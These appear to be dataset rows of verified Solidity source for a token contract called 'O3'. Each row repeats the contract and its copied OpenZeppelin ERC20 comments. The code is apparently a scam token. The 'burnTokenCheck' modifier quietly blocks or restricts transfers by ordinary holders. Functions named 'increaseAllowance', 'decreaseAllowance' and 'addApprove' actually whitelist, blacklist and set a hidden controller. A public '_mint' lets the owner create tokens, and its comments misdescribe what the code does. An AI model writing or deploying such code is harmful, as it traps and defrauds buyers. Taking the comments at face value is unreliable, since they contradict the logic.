* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4068,
4242
]
} | 4,243 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4711,
5041
]
} | 4,244 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
5445,
5736
]
} | 4,245 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
